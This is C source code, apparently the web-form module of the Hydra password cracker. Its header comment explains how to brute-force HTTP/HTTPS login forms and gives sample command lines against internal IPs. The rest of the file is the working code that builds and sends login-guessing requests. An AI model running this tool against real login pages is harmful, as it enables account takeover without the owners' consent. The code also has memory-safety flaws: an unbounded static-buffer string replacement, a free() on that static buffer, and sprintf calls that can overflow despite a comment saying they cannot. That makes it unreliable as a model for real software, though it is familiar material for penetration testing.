/* Hydra Form Module ----------------- The hydra form can be used to carry out a brute-force attack on simple web-based login forms that require username and password variables via either a GET or POST request. The module works similarly to the HTTP basic auth module and will honour proxy mode (with authenticaion) as well as SSL. The module can be invoked with the service names of "http-get-form", "http-post-form", "https-get-form" and "https-post-form". Here's a couple of examples: - ./hydra -l "" -P pass.txt 10.221.64.12 http-post-form "/irmlab2/testsso-auth.do:ID=^USER^&Password=^PASS^:Invalid Password" ./hydra -s 443 -l "" -P pass.txt 10.221.64.2 https-get-form "/irmlab1/vulnapp.php:username=^USER^&pass=^PASS^:incorrect" The option field (following the service field) takes three ":" seperated values, the first is the page on the server to GET or POST to, the second is the POST/GET variables (taken from either the browser, or a proxy such as PAROS) with the varying usernames and passwords in the "^USER^" and "^PASS^" placeholders and the third is the string that it checks for an *invalid* login - any exception to this is counted as a success. If you specify the verbose flag (-v) it will show you the response from the HTTP server which is useful for checking the result of a failed login to find something to pattern match against. Module written by Phil Robinson, IRM Plc (releases@irmplc.com) the strrep function was copied from bdarr (at) sse.FU.HAC.COM */ #include "hydra-mod.h" extern char *HYDRA_EXIT; char *buf; extern char *webtarget; extern char *slash; int webport; char *strrep(char *string, char *oldpiece, char *newpiece) { int str_index, newstr_index, oldpiece_index, end, new_len, old_len, cpy_len; char *c; static char newstring[1023]; if ((c = (char *) strstr(string, oldpiece)) == NULL) return string; new_len = strlen(newpiece); old_len = strlen(oldpiece); end = strlen(string) - old_len; oldpiece_index = c - string; newstr_index = 0; str_index = 0; while(str_index <= end && c != NULL) { /* Copy characters from the left of matched pattern occurence */ cpy_len = oldpiece_index-str_index; strncpy(newstring+newstr_index, string+str_index, cpy_len); newstr_index += cpy_len; str_index += cpy_len; /* Copy replacement characters instead of matched pattern */ strcpy(newstring+newstr_index, newpiece); newstr_index += new_len; str_index += old_len; /* Check for another pattern match */ if((c = (char *) strstr(string+str_index, oldpiece)) != NULL) oldpiece_index = c - string; } /* Copy remaining characters from the right of last matched pattern */ strcpy(newstring+newstr_index, string+str_index); return newstring; } int start_http_form(int s, unsigned long int ip, int port, unsigned char options, char *miscptr, FILE * fp, char *type) { char *empty = ""; char *login, *pass, buffer[1024], *url, *variables, *updvariables, *upd2variables, *upd3variables, *failcond; char *header = ""; /* XXX TODO */ int found = 0; url = strtok(miscptr,":"); variables = strtok(NULL,":"); failcond = strtok(NULL,":"); if (strlen(login = hydra_get_next_login()) == 0) login = empty; if (strlen(pass = hydra_get_next_password()) == 0) pass = empty; upd2variables = malloc(1024); updvariables = strrep(variables, "^PASS^", pass); strncpy(upd2variables, updvariables,1023); upd3variables = strrep(upd2variables, "^USER^", login); /* again: no snprintf to be portable. dont worry, buffer cant overflow */ if (use_proxy == 1 && proxy_authentication != NULL) if ( strcmp(type, "GET" )) { sprintf(buffer, "%s http://%s:%d%.250s HTTP/1.0\r\nHost: %s\r\nProxy-Authorization: Basic %s\r\nUser-Agent: Mozilla/4.0 (Hydra)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\n%s\r\n", type, webtarget, webport, url, webtarget, proxy_authentication, strlen(upd3variables), upd3variables); } else { sprintf(buffer, "%s http://%s:%d%.250s?%.250s HTTP/1.0\r\nHost: %s\r\nProxy-Authorization: Basic %s\r\nUser-Agent: Mozilla/4.0 (Hydra)\r\n%s\r\n", type, webtarget, webport, url, upd3variables, webtarget, proxy_authentication, header); } else { if (use_proxy == 1) if ( strcmp(type, "GET" )) { sprintf(buffer, "%s http://%s:%d%.250s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/4.0 (Hydra)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\n%s\r\n", type, webtarget, webport, url, webtarget, strlen(upd3variables), upd3variables); } else { sprintf(buffer, "%s http://%s:%d%.250s?%.250s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/4.0 (Hydra)\r\n%s\r\n", type, webtarget, webport, url, upd3variables, webtarget, header); } else if ( strcmp(type, "GET" )) { sprintf(buffer, "%s %.250s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/4.0 (Hydra)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\n%s\r\n", type, url, webtarget, strlen(upd3variables), upd3variables); } else { sprintf(buffer, "%s %.250s?%.250s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/4.0 (Hydra)\r\n%s\r\n", type, url, upd3variables, webtarget, header); } } if (hydra_send(s, buffer, strlen(buffer), 0) < 0) { free(updvariables); free(upd2variables); return 1; } while ( (buf = hydra_receive_line(s)) ) { if ( strstr(buf,failcond) != NULL) { found = 1; } if (verbose) { printf("%s", buf); } } if ( found != 1 ) { hydra_report_found_host(port, ip, "www-form", fp); hydra_completed_pair_found(); } else { hydra_completed_pair(); } /* while (hydra_data_ready(s) > 0) recv(s, buffer, sizeof(buf), 0); buf = hydra_receive_line(s); */ free(buf); free(updvariables); free(upd2variables); if (memcmp(hydra_get_next_pair(), &HYDRA_EXIT, sizeof(HYDRA_EXIT)) == 0) return 3; return 1; } void service_http_form(unsigned long int ip, int sp, unsigned char options, char *miscptr, FILE * fp, int port, char *type) { int run = 1, next_run, sock = -1; int myport = PORT_HTTP, mysslport = PORT_HTTP_SSL; struct sockaddr_in targetip; char *ptr, *ptr2; hydra_register_socket(sp); if (memcmp(hydra_get_next_pair(), &HYDRA_EXIT, sizeof(HYDRA_EXIT)) == 0) return; if ((webtarget = strstr(miscptr, "://")) != NULL) { webtarget += strlen("://"); if ((ptr2 = index(webtarget, ':')) != NULL) { /* step over port if present */ *ptr2 = 0; ptr2++; ptr = ptr2; if (*ptr == '/' || (ptr = index(ptr2, '/')) != NULL) miscptr = ptr; else miscptr = slash; /* to make things easier to user */ } else if ((ptr2 = index(webtarget, '/')) != NULL) { miscptr = malloc(strlen(ptr2) + 1); strcpy(miscptr, ptr2); *ptr2 = 0; } else webtarget = NULL; } if (cmdlinetarget != NULL && webtarget == NULL) webtarget = cmdlinetarget; else if (webtarget == NULL && cmdlinetarget == NULL) { memset(&targetip, 0, sizeof(targetip)); memcpy(&targetip.sin_addr.s_addr, &ip, 4); targetip.sin_family = AF_INET; #ifdef CYGWIN buf = inet_ntoa((struct in_addr) targetip.sin_addr); #else buf = malloc(20); inet_ntop(AF_INET, &targetip.sin_addr, buf, 20); #endif webtarget = malloc(strlen(buf) + 1); strcpy(webtarget, buf); #ifndef CYGWIN free(buf); #endif } if (port != 0) webport = port; else if ((options & OPTION_SSL) == 0) webport = myport; else webport = mysslport; while (1) { next_run = 0; switch (run) { case 1: /* connect and service init function */ { if (sock >= 0) sock = hydra_disconnect(sock); // usleep(275000); if ((options & OPTION_SSL) == 0) { if (port != 0) myport = port; sock = hydra_connect_tcp(ip, myport); port = myport; } else { if (port != 0) mysslport = port; sock = hydra_connect_ssl(ip, mysslport); port = mysslport; } if (sock < 0) { fprintf(stderr, "Error: Child with pid %d terminating, can not connect\n", (int) getpid()); hydra_child_exit(1); } next_run = 2; break; } case 2: /* run the cracking function */ next_run = start_http_form(sock, ip, port, options, miscptr, fp, type); break; case 3: /* clean exit */ if (sock >= 0) sock = hydra_disconnect(sock); hydra_child_exit(0); return; default: fprintf(stderr, "Caught unknown return code, exiting!\n"); hydra_child_exit(0); exit(-1); } run = next_run; } if (webtarget != NULL && index(webtarget, ':') == NULL && index(webtarget, '/') != NULL) free(miscptr); } void service_http_get_form(unsigned long int ip, int sp, unsigned char options, char *miscptr, FILE * fp, int port) { service_http_form(ip, sp, options, miscptr, fp, port, "GET"); } void service_http_post_form(unsigned long int ip, int sp, unsigned char options, char *miscptr, FILE * fp, int port) { service_http_form(ip, sp, options, miscptr, fp, port, "POST"); }